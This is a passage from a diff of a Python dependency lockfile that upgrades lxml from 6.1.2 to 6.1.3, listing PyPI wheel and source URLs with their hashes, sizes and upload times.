"sha256:7c444c3a6e8e75334879980eed96568f0e12064c8b1913424eac1805e976736b", size = 3902666, upload-time = "2026-08-19T05:02:55.607Z" }, - { url = "https://files.pythonhosted.org/packages/58/ab/3371527bd9820aae6f511697c93032ed197b0d8dab0f17818f18d3099637/lxml-6.1.2-cp314-cp314t-win_amd64.whl", hash = "sha256:7f35ba7667004ecdafebbe08da7c9fa06ee6195275bb7ef7a29ee1901e69519c", size = 4401011, upload-time = "2026-08-19T05:02:57.899Z" }, - { url = "https://files.pythonhosted.org/packages/e6/bb/e6de9b2546a4e6df4fb52fb18921906a8b7a041aba06570995759a4d6d8b/lxml-6.1.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d117f39b28ab8a330a74abdbe61c2255b51973b238db25fd6c2448de1eb2a02d", size = 3823384, upload-time = "2026-08-19T05:03:00.371Z" }, - { url = "https://files.pythonhosted.org/packages/82/e0/efb40756ca9499992d2f751668920660c466522a6b14ea1024d71b480338/lxml-6.1.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:feda2ef68c339987dfb370af3a4b785dbc40f925723fe2365e68e43c2640f85a", size = 3947525, upload-time = "2026-08-19T05:01:16.637Z" }, - { url = "https://files.pythonhosted.org/packages/3e/00/54f317630c238418c9541cdce7f4e9998c28913ca23159f54cc09e62dabe/lxml-6.1.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:9bdc2db9e04538f917bba0242920764dd740649d8df58700d6d687ead4429429", size = 4220190, upload-time = "2026-08-19T05:01:26.615Z" }, - { url = "https://files.pythonhosted.org/packages/8b/7d/3a35ff7e08461f4aef320e5f95b6f6ff80a1a1b4b871a2e4ca09425f9c91/lxml-6.1.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4a16457e330b7099aa5a8e8bfa5d53a33a1672a819fa656157e9e6dc433ac7a4", size = 4329292, upload-time = "2026-08-19T05:01:32.516Z" }, - { url = "https://files.pythonhosted.org/packages/85/89/55a6b1f1bc45c65779c23e99c95f179e91ffe833410a9c58a26013660ca2/lxml-6.1.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:614d4c5a34556e369b86cfcc8d0cf71cd0759a3444a464a07a9427ab0f5e3a99", size = 4261996, upload-time = "2026-08-19T05:01:36.882Z" }, - { url = "https://files.pythonhosted.org/packages/62/08/d88e0ae9ad2cf261143142d9633269d1bf90dc24454132d3c758c147d4fd/lxml-6.1.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18467b0e9f7f0bc477df69e99829a59ae17fb37d34e5f68399371c7c67be9002", size = 4409999, upload-time = "2026-08-19T05:01:50.389Z" }, - { url = "https://files.pythonhosted.org/packages/cc/ec/3677ba99141f215dc9dbeffbfab868b9c0a117abaac8e4d85654246e02b6/lxml-6.1.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:351855814dec4ad55ca5f24d0f4b1cdaca7927fe48023a2965351845f3b60cff", size = 3510608, upload-time = "2026-08-19T05:01:58.454Z" }, - { url = "https://files.pythonhosted.org/packages/b9/c9/11bfea1b3afc7a27ce74222b2e12b97005f3b81aa0011313769a14afd60a/lxml-6.1.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4622c5616683faf63791b349e6c8dad7717412dc5f29f4febe7575f110609a86", size = 3942892, upload-time = "2026-08-19T05:03:21.567Z" }, - { url = "https://files.pythonhosted.org/packages/c4/98/9885a4505758885c113af2bc2335a9fced99cb01e07e42895a62f1eb97fb/lxml-6.1.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:733dfb492ec3dfef8350a5cc896e90d202c5171e791e1609e77563751d69a15d", size = 4213061, upload-time = "2026-08-19T05:03:24.259Z" }, - { url = "https://files.pythonhosted.org/packages/2c/5e/e80d9e7d6e54b0693df60c7eeeed4aa19e2e3936dadf0676e6a3e8ac1ee1/lxml-6.1.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4618b20f43dc98b49569b1dc822176140ea0f2598d672a6989187ba49bcbfec1", size = 4322013, upload-time = "2026-08-19T05:03:26.764Z" }, - { url = "https://files.pythonhosted.org/packages/52/22/2e896cfba4e86b805eb8a3259cbdc1601971dc8fda5b1db2044ec2a3e6f0/lxml-6.1.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f93bc5e25992f5545709000d840c6cafdbd022781a7a0ed79d58a5633733a4e8", size = 4257333, upload-time = "2026-08-19T05:03:29.355Z" }, - { url = "https://files.pythonhosted.org/packages/b0/1d/9dbdbfa284ea96aee7c368e0ac73994f7e1375281070c355bcd85d4f7a77/lxml-6.1.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:662432a6103e671d971e06e75ed146d9ff67f39d2c98c2f26613b6057f54eafc", size = 4410828, upload-time = "2026-08-19T05:03:31.948Z" }, - { url = "https://files.pythonhosted.org/packages/f9/f2/fea24b044219458c252e0a0a08074a27dc9e28edb85f83533e36e3ddb57d/lxml-6.1.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ba0dfead73be5be9ad0b7fbf9f31ff29c1b1eae858816dfc8d85099d6e4af0d6", size = 3511278, upload-time = "2026-08-19T05:03:34.597Z" }, +version = "6.1.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/23/ad/28ecd7cb894d172f3c9c80a075eeeb2017ac62e3632cee05a5f9493547eb/lxml-6.1.3.tar.gz", hash = "sha256:45222d94ddd511536f3b2f7d9deae3b2339b4ce0f075f1ca25703b07cad9dd21", size = 4211198, upload-time = "2026-09-02T14:48:02.287Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/29/6b/a7d5c08e19a8e69887ed722fffaefdbaffc8959d5ef5c370a65e52c895ac/lxml-6.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:40bcbd9f94166ffe925811e730607385cec959f42fb1bb7dad83748680465221", size = 8575497, upload-time = "2026-09-02T14:46:05.131Z" }, + { url = "https://files.pythonhosted.org/packages/96/dd/c25a32f9f6039a96cfd52296a4630075868aa16e71858b3076699a059201/lxml-6.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:05f5bce9af14fd1506997594bd81cee6d9c6b58ea80a39c058327aa6371ed9e9", size = 4619233, upload-time = "2026-09-02T14:46:08.898Z" }, + { url = "https://files.pythonhosted.org/packages/3e/f0/d49375a47644369d84f90a9fe4ff1924faad58d4f95563831eca84ca29ae/lxml-6.1.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ff88a92cafde90888511242d1c54afcc1a8adbb6dc0a88fa7f87e29e92400d4a", size = 5015387, upload-time = "2026-09-02T14:46:10.797Z" }, + { url = "https://files.pythonhosted.org/packages/76/0f/d1b1f52925442f7b4b1abd81a41905987322f6df6a5dd42fab8579415828/lxml-6.1.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c00e26288784460885fe76e4d4b293573e0f791f52e6d60e27b42edf005922eb", size = 5168571, upload-time = "2026-09-02T14:46:12.989Z" }, + { url = "https://files.pythonhosted.org/packages/b2/13/e5d8291a68a27e564e4e1eefba08c3844c6800bcb43f3e72a32b20971132/lxml-6.1.3-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:773062aec2f2e56b2b22d37054123f0de8a22a4688a0c3376c3fe42685f975cf", size = 5068024, upload-time = "2026-09-02T14:46:15.325Z" }, + { url = "https://files.pythonhosted.org/packages/a1/ce/dbea34cd115ae9b8ef53816daa912563615adf4daed42531878a2fb29c77/lxml-6.1.3-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f6449672f9c93316deb5e2839e18931f468670e44d5bd9b1301a5a9655d45c07", size = 5296830, upload-time = "2026-09-02T14:46:17.52Z" }, + { url = "https://files.pythonhosted.org/packages/20/f6/12a2ab6e8c8afecb82a3f0e9a518952b6a1cddf405ad8542883bd71e6096/lxml-6.1.3-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:ec295280f4b37769256da025acf5890370355ac589c27e89caae0b5e9eedc702", size = 5424696, upload-time = "2026-09-02T14:46:19.706Z" }, + { url = "https://files.pythonhosted.org/packages/02/3f/5670e198266c764595687a234fdaed33837f487b95a596262b2548e48933/lxml-6.1.3-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:5929d9df5e7e3379183be0e21f7d559618a5b61cb63280df6164019242e337ed", size = 4783635, upload-time = "2026-09-02T14:46:21.63Z" }, + { url = "https://files.pythonhosted.org/packages/70/24/007ce6b7bffb61a6ca88c3a8f21b26f3f0aa3b3f6bb648a56e328c994a14/lxml-6.1.3-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6e1eb8a4cbffd5553680ad96be6680e364710656eced73d1dc90ec489df599a3", size = 5373212, upload-time = "2026-09-02T14:46:23.572Z" }, + { url = "https://files.pythonhosted.org/packages/4e/00/cf09f38cf9005bd5cfa4fd452b03b290b1c48c403fe0319a8013f4b3cae0/lxml-6.1.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:16148acd77ed1d8836a56db883af2f5eed720f9723088110b16a0d08582130a6", size = 5116476, upload-time = "2026-09-02T14:46:26.262Z" }, + { url = "https://files.pythonhosted.org/packages/15/83/eb021e5db4336f0bb1438cba6f053ea135aa00b9f4ef0439473d6b986308/lxml-6.1.3-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:23c366231259cd75ad06495174701afb3fcb36a92917fa47de2d1f1bd9d95739", size = 4814172, upload-time = "2026-09-02T14:46:28.3Z" }, + { url = "https://files.pythonhosted.org/packages/c8/4e/147b6f9088cc191713249ac547b0af2fece489c8cdff1f2801ab47dda8a9/lxml-6.1.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:da85db328e507da922d586c3c7416ec360ec22e9cd9e0700691afacde0c81f53", size = 5361711, upload-time = "2026-09-02T14:46:31.035Z" }, + { url = "https://files.pythonhosted.org/packages/b7/d9/8cfdac0d7d771e25af2c1f4bc874032f025a4b59e0b6917c3c7858070795/lxml-6.1.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:0f17d83c48ee9dfd96abae3ac3e2108c76d2fc86ce96355e37b8da9f7f4ecc08", size = 5321598, upload-time = "2026-09-02T14:46:33.165Z" }, + { url = "https://files.pythonhosted.org/packages/f3/5b/d2413c71f312dccdd07ed985be356657fc624d822ba7e2c87e8722646156/lxml-6.1.3-cp310-cp310-win32.whl", hash = "sha256:7dd624c1eaa629ad44b59a1a0145fdf2d67895592dce94c9358b938b3d075e65", size = 3604471, upload-time = "2026-09-02T14:46:35.245Z" }, + { url = "https://files.pythonhosted.org/packages/7a/bf/74b6785beac6488fd395e78796339bc197fbad6fd6103b41b15a4009dc4b/lxml-6.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:18a4db52b5a7b53a3540b0b0f4123319334621ee8083d496de314d0bf06ff59a", size = 4029086, upload-time = "2026-09-02T14:46:37.744Z" }, + { url = "https://files.pythonhosted.org/packages/f9/a5/ddf6e1744cd76fc9f0ce11cb16b117d6eaac46ebaeca01968e9014e8770c/lxml-6.1.3-cp310-cp310-win_arm64.whl", hash = "sha256:0feebef8d0521188d0157f758356072e840173aa61ca45b8b3f87959ac283dd5", size = 3674608, upload-time = "2026-09-02T14:46:39.802Z" }, + { url = "https://files.pythonhosted.org/packages/96/f1/95133bde7af7afb1f5ba6090b674d826b7a518318bba54bbbb633b27865a/lxml-6.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c66f858b82497173f73366795fc6ee8171620e75a338506d6b2e7bc16f5fca11", size = 8563141, upload-time = "2026-09-02T14:46:42.334Z" }, + { url = "https://files.pythonhosted.org/packages/80/54/5a79ee2181ac773ee13e48205411845feec69e1c3d097e985c1343171712/lxml-6.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:032a0a97eed428bd143c75a11118238546424ceb2fa311cca5f073aa44658dc4", size = 4613690, upload-time = "2026-09-02T14:46:45.253Z" }, + { url = "https://files.pythonhosted.org/packages/ab/29/8c24672f56807f119312f073f24204368574bd16b384ede861b5104b3a2b/lxml-6.1.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4a579dfb9c835f8ab47f4b8ed33440cbc75b806b73297208e6ec2a33e903740b", size = 4935630, upload-time = "2026-09-02T14:46:48.071Z" }, + { url = "https://files.pythonhosted.org/packages/71/69/ce2436d854c848c19fc9287143991f3fc76b8b4e9a0dbba8452e51dff264/lxml-6.1.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:49fbc2682a9306135b7ec49e93f97f9c26689b9b7f96ed2742d8d6497e994d13", size = 5079033, upload-time = "2026-09-02T14:46:50.483Z" }, + { url = "https://files.pythonhosted.org/packages/91/ec/b66f66f6499ad800265d57540b51e6632e3232d3526f42f2f8fd4b14e0ea/lxml-6.1.3-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ea2c01cdb16dc12156e455007c406dfaaece0c89aa4ba0e3b47586779f951d41", size = 5012298, upload-time = "2026-09-02T14:46:52.603Z" }, + { url = "https://files.pythonhosted.org/packages/94/2a/25d128872f4d51753542bfc3feb482c2ea7c8a2d6d81a0bc5c6a00779ed4/lxml-6.1.3-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:527195c188d7d0af748cd48d220ab8cdc5cb99be3d49ac4d9be7324d8abf9bc0", size = 5211431, upload-time = "2026-09-02T14:46:54.722Z" }, + { url = "https://files.pythonhosted.org/packages/75/b2/0a41bbef074a556110f84fafb6d8c2998293c7d3bfbe1ce74515bc65393b/lxml-6.1.3-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:20384c2bbcbf87180c8c61eb60869699c1ec0cd09b62cfd13804022d860b0867", size = 5343417, upload-time = "2026-09-02T14:46:57.46Z" }, + { url = "https://files.pythonhosted.org/packages/7b/cd/16116c3f91791aeeeab1cbe6e7eb6e646f127be7b0158b262eb526a21a0c/lxml-6.1.3-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:424aa5657141d306ba9ad1baab4b2c0a0719040075ee6c66aee9bb2dea2b5054", size = 4673219, upload-time = "2026-09-02T14:46:59.604Z" }, + { url = "https://files.pythonhosted.org/packages/dd/bb/4dff849f443ef70221676aec938bc41e8bae6430aa2ca13b041319e14b98/lxml-6.1.3-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4736e6c87e603146d8949d8501da621ad20c31015060d3fcf95ace2859f3e3e6", size = 5281246, upload-time = "2026-09-02T14:47:02.375Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ac/4aa7dd059420bfd35278c7fe819e9d319ee36a0453b7bbde1907a7832d91/lxml-6.1.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6374e9e382e5a98c9c5e66d41b357b470da1c54bce30f17f9dc4bcc58436cc1c", size = 5055451, upload-time = "2026-09-02T14:47:05.883Z" }, + { url = "https://files.pythonhosted.org/packages/de/44/20d90cf6f4234de9cd9eeb4f519419885fdb087fa80d073c7b57be342021/lxml-6.1.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:22eec57e26c418cde02c051ce9914a365e52a7f135a565c6f0480242aeebab48", size = 4722694, upload-time = "2026-09-02T14:47:08.461Z" }, + { url = "https://files.pythonhosted.org/packages/f0/0e/6bee12325e53dd6613fe1e107def07583b6182ade03e94bfef8976622e44/lxml-6.1.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:8753b8d51dbc86fd335ee31fcf7f3658e9f5c016d4edfb23f76ad295f4b8c9d0", size = 5269179, upload-time = "2026-09-02T14:47:10.647Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5d/54d269ce5cd0787c0424d9cef449ee794d4097725d13dd2acd6181c44e9c/lxml-6.1.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:207dfc3d47cf0e575e643bbc140dacc8863b39abaa1e5307cd64c7f2365b8a12", size = 5235559, upload-time = "2026-09-02T14:47:13.932Z" }, + { url = "https://files.pythonhosted.org/packages/e4/f7/5a3095f187f1bec293591616a1677781acc265c5b313c009f8a19c471a09/lxml-6.1.3-cp311-cp311-win32.whl", hash = "sha256:18293f8a8d8b6a8e71ef37706b659e3846a4261232158167b1ddf35f6994f633", size = 3600377, upload-time = "2026-09-02T14:47:15.957Z" }, + { url = "https://files.pythonhosted.org/packages/45/5a/15531a0d307c96282fe8b639b3d74e8bd783e4ab4cb2b0781146ac4161b8/lxml-6.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:7ae4949f212a53b007dbc355884fda122545c5764a54256c9217e419a62a6559", size = 4032700, upload-time = "2026-09-02T14:47:18.566Z" }, + { url = "https://files.pythonhosted.org/packages/12/f9/8de76314955545ceaaa7c0305017b8aaa217905dee59c62c0e2c1e44a68f/lxml-6.1.3-cp311-cp311-win_arm64.whl", hash = "sha256:2123e5aa075ac20d23c7af489255efd129cbfe190dbe88fd42598cc9df3199b6", size = 3674431, upload-time = "2026-09-02T14:47:22.186Z" }, + { url = "https://files.pythonhosted.org/packages/dd/1f/a180b57d9eeabaab77f9d5aa30356898ea749c4795596a8f66d1eb6bef2e/lxml-6.1.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0c0710ac085a157b593c38fbcacd950f15c4afa8e2057527185875ab302752bc", size = 8602094, upload-time = "2026-09-02T14:47:26.054Z" }, + { url = "https://files.pythonhosted.org/packages/a8/25/070c92013a1c029a602b03560d68772313d918268667fa993da7961759c9/lxml-6.1.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:623c8799c17128753c65699f1c3aa32402657393a9ad6db09ed8b98ddf76611d", size = 4638308, upload-time = "2026-09-02T14:47:29.587Z" }, + { url = "https://files.pythonhosted.org/packages/1e/1c/722e88883173097a1a375153e3c2447eba3060d0231522cf6596e99f4195/lxml-6.1.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f683dc6300317700025e41d89a43e0276692ded16113a3c43eab704d605c58e5", size = 4939696, upload-time = "2026-09-02T14:47:32.997Z" }, + { url = "https://files.pythonhosted.org/packages/db/36/aa413bc214dc4f785ad2b2ddd8cc99aae7062d49ab155e91e6011af00daf/lxml-6.1.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:379f8a75cf6eb7eef0af074b55f49ab73b868388a98de14646abcdfa4564bb11", size = 5105247, upload-time = "2026-09-02T14:47:36.734Z" }, + { url = "https://files.pythonhosted.org/packages/a3/a0/a1f7f1313795bfec67b77f01ef3b1128d49f2d7f66a8413fa55d47f4e25f/lxml-6.1.3-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b37772102d44bb6628186accca3a121b1fa3a6b3d97518a8c29a5229ca4c0d0a", size = 5011915, upload-time = "2026-09-02T14:47:39.846Z" }, + { url = "https://files.pythonhosted.org/packages/b9/78/840e7e3f1d0cc7a5cfac5d8505b97e25b6427fd774ac4bae672aaebfb4b5/lxml-6.1.3-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ddcf547bea2aee967d6a77779376a45e77e610e8465147a1f3d7e20d539d6e32", size = 5638175, upload-time = "2026-09-02T14:47:43.644Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/e022dbc6b4753a9bc9fc5fb28a27163430c1731b9913997f6544c1b2518c/lxml-6.1.3-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:909f4e927bb051f7740d6367285fc60cdcfdaf0258c2dba4ff5ba7eadadc250c", size = 5244675, upload-time = "2026-09-02T14:47:47.635Z" }, + { url = "https://files.pythonhosted.org/packages/99/83/82cde81d2b5eb38d1539fdfdf318abdd014a7e604f4df01c9cd3deb18f2a/lxml-6.1.3-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:a5c18810318303ce9afb3f95e2ddb54834f96fa699a8600433fd5a93dcf44c56", size = 5358205, upload-time = "2026-09-02T14:47:50.306Z" }, + { url = "https://files.pythonhosted.org/packages/d2/a1/f3b057371c8cb29f2a9c9c44ea320592446e40b74a4b0af68c3d8e65bc73/lxml-6.1.3-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:3e42265103fb385d8642a78672edf376c6f7e1d3598a7a4f9cb1278f2f6b5f6f", size = 4704495, upload-time = "2026-09-02T14:47:53.251Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a4/230eb28be5d412152ffc3c679b51fe1aeede5a53f3a8eb6e9748f2f4754f/lxml-6.1.3-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:21402998e4b78e7cce237d2788841aaa21ac9a4d1574d04dc2d12ee41ae807b5", size = 5255117, upload-time = "2026-09-02T14:47:55.963Z" }, + { url = "https://files.pythonhosted.org/packages/a3/18/1969f56763af24ce42ea156007b0b2d73fddea552e283b2010416394f0f4/lxml-6.1.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:38fc4e4e4e084e0bd491949482527d406788045c546d4f8789e93fc527b91385", size = 5054424, upload-time = "2026-09-02T14:47:58.131Z" }, + { url = "https://files.pythonhosted.org/packages/f4/d4/2a90acc1f6fabaa3a8db9340437822bd8d041b205d626a4b3e8621aaa390/lxml-6.1.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5609efdb0d3c95499c00046bc53648b3482ec2175b5503d6e611b3f0555dc71d", size = 4785572, upload-time = "2026-09-02T14:48:01.029Z" }, + { url = "https://files.pythonhosted.org/packages/a5/1e/b90e845b1dcd0f2f3f26b98283d857f25909223aacd265eee032c34ab8b1/lxml-6.1.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:97ce49699d87ebf8aad631b55d65b33219a4f1bfefbbf5bff19dc9af160aeaf9", size = 5656516, upload-time = "2026-09-02T14:48:03.419Z" }, + { url = "https://files.pythonhosted.org/packages/eb/ab/0a1b802c57f3fba5c4efd77d5c6b78adaa8f7b681f0c90456b140fe8bf6c/lxml-6.1.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:48542c9acba9ff9450bd18d871d2c2c8787fdb283572b623d206f1b927cd7d9e", size = 5245982, upload-time = "2026-09-02T14:48:06.109Z" }, + { url = "https://files.pythonhosted.org/packages/da/ee/2c016fbceb3778137459292538d9dfa7e3ad9070fe409c15254ddd90d2cc/lxml-6.1.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c55e71a9b1db1f107efb60da49c093689b74c5c31a708e5379e2fd9439d4fbb5", size = 5267340, upload-time = "2026-09-02T14:48:08.374Z" }, + { url = "https://files.pythonhosted.org/packages/9c/b1/736d18fd6f0835761923b7bac1f0c27d60c1200384e9093f05d8c5100525/lxml-6.1.3-cp312-cp312-win32.whl", hash = "sha256:b3ff39654f0ce6ebd4db154211136dbe7e8157bcc3bed2344c87f32c7c6ecb6c", size = 3602606, upload-time = "2026-09-02T14:48:10.384Z" }, + { url = "https://files.pythonhosted.org/packages/3a/5b/6ed903e4e6278a020c8a6f0dbbe78030d041840a6b4a64ea441a1e414077/lxml-6.1.3-cp312-cp312-win_amd64.whl", hash = "sha256:3e9a00d1c2c30936f7add097c41afc5da6556c580909104aafd382cac92a855c", size = 4005999, upload-time = "2026-09-02T14:48:12.51Z" }, + { url = "https://files.pythonhosted.org/packages/e4/1b/7bcebb7b6332cb3ae85e9c13b139adb6f23f75c71d84041c56a5005d9a29/lxml-6.1.3-cp312-cp312-win_arm64.whl", hash = "sha256:1aeca87830c4fe649dcf93fe2b059525b71c72587f21be4ae4af7103082a79fa", size = 3666631, upload-time = "2026-09-02T14:48:14.567Z" }, + { url = "https://files.pythonhosted.org/packages/52/05/3ef45db776baea068044c799bbba68f3ca00a440c0e930a17c572f3d9639/lxml-6.1.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:3a48093cdb058a93af842ede9703520e810b05dcd0fc6d7190a06376c3bfb6bd", size = 8590357, upload-time = "2026-09-02T14:48:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a5/eee2fc77eee5ea68e4a4334b1def1781a3beaeefd3d98e81b4a38dc447b7/lxml-6.1.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:887c021d9a977cff89cb273047c1352997b772a8908a25c21836861f69b92be1", size = 4632616, upload-time = "2026-09-02T14:48:20.745Z" }, + { url = "https://files.pythonhosted.org/packages/35/42/df27b56848acd29d8a720acc28977911aab36f2a09df4208d5502e887415/lxml-6.1.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:611a51e61c92f62345a50b0035df6fc0d678f9299f33728826d831598862f59d", size = 4936186, upload-time = "2026-09-02T14:48:22.94Z" }, + { url = "https://files.pythonhosted.org/packages/ab/8d/8a7b91df0b54d09d25f5f44885d6b3e0a6d6643a8c070191580318d20c42/lxml-6.1.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b477912f42c5c33405a10c759d22f80cf5af043ae02d95b9d8e5e5bc555739ed", size = 5093324, upload-time = "2026-09-02T14:48:25.132Z" }, + { url = "https://files.pythonhosted.org/packages/c6/7e/8f340ddcd43790332fb0de8a26628d571a492da3300cd191821698407c96/lxml-6.1.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5cffe18571ccc51d742cd08cbb3f8b756de9311d18c7ea98f5d92f37b8fb60c2", size = 4998850, upload-time = "2026-09-02T14:48:27.394Z" }, + { url = "https://files.pythonhosted.org/packages/c5/c1/9c5bb572f1f09ec9e4322bd4a4e9f4ad48347fc56ef94cf4df58a5279dc8/lxml-6.1.3-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75cc6569e86be5785b6188ef1642670c6adbc984e81ec35e224842ecd9eefcc8", size = 5626813, upload-time = "2026-09-02T14:48:29.61Z" }, + { url = "https://files.pythonhosted.org/packages/ac/7d/8bf1fd8bae8247743968bb76d027a1ac5bd2c4b44495fba6a71b30d10706/lxml-6.1.3-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d85dfab42dd672f87a7f76e9de7172962aee69fa12044f0d6e1a23cbd53fb80e", size = 5232385, upload-time = "2026-09-02T14:48:31.969Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2e/6cef69ed81cb7df0d03b0dd09d08e6e2cf5061a743ff6f42f0b741548e9b/lxml-6.1.3-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:42632b4024ab24a6b488f559ac851312509888b6b80ae2aa11cf29a646a0d245", size = 5347088, upload-time = "2026-09-02T14:48:34.13Z" }, + { url = "https://files.pythonhosted.org/packages/5f/e1/8e5fd8ddc8c7d685badb0f2db149e3c9da84eefc2827c01c658df2c4e3cb/lxml-6.1.3-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:febd35ef45f603c2d74b74655efdbf45e14f55fc0aef4ac82b663ca829b283e0", size = 4707227, upload-time = "2026-09-02T14:48:36.62Z" }, + { url = "https://files.pythonhosted.org/packages/7a/7e/00041382a11be40a88bf405ebff11c8efabd3de79f2691e1638b1c47a8a0/lxml-6.1.3-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a43b3bdf11e477dc7770609d3477316f974354dfc8425d596f64f471cc8daf6e", size = 5240208, upload-time = "2026-09-02T14:48:38.893Z" }, + { url = "https://files.pythonhosted.org/packages/fd/fe/316538b5cff0936fa63d45d421c655730fcbb5a28dcac728c175083002bc/lxml-6.1.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5d582042c69857c364e8153de6e18e0da9b7b515a6a8113caf69a6ec8e0520f2", size = 5050271, upload-time = "2026-09-02T14:48:41.213Z" }, + { url = "https://files.pythonhosted.org/packages/c9/91/455bcccb3ac725373007344d351151810cd19762d1673b64b811f4359a42/lxml-6.1.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8e49a646acfab83c68974f4aa1d0a2acca9e88d7d627ae0fc13201b14b76d310", size = 4780433, upload-time = "2026-09-02T14:48:43.779Z" }, + { url = "https://files.pythonhosted.org/packages/cb/f6/580440e2f52cf00bba5c5e1080bfa88cdfcde73be71a11d95170ddbb663f/lxml-6.1.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0dee106e9aa97fb00541b1ed7827070564d0549c3d3fba8920e6b20fd980f748", size = 5645928, upload-time = "2026-09-02T14:48:46.187Z" }, + { url = "https://files.pythonhosted.org/packages/f6/dc/d123c1f244306543d545f62443f794959e4f1ea709fe100f8740d514e74a/lxml-6.1.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:dd5e90f34cffcfed97f36cf066325773d2b6021c60c29942e53a18b028501b1d", size = 5231184, upload-time = "2026-09-02T14:48:48.691Z" }, + { url = 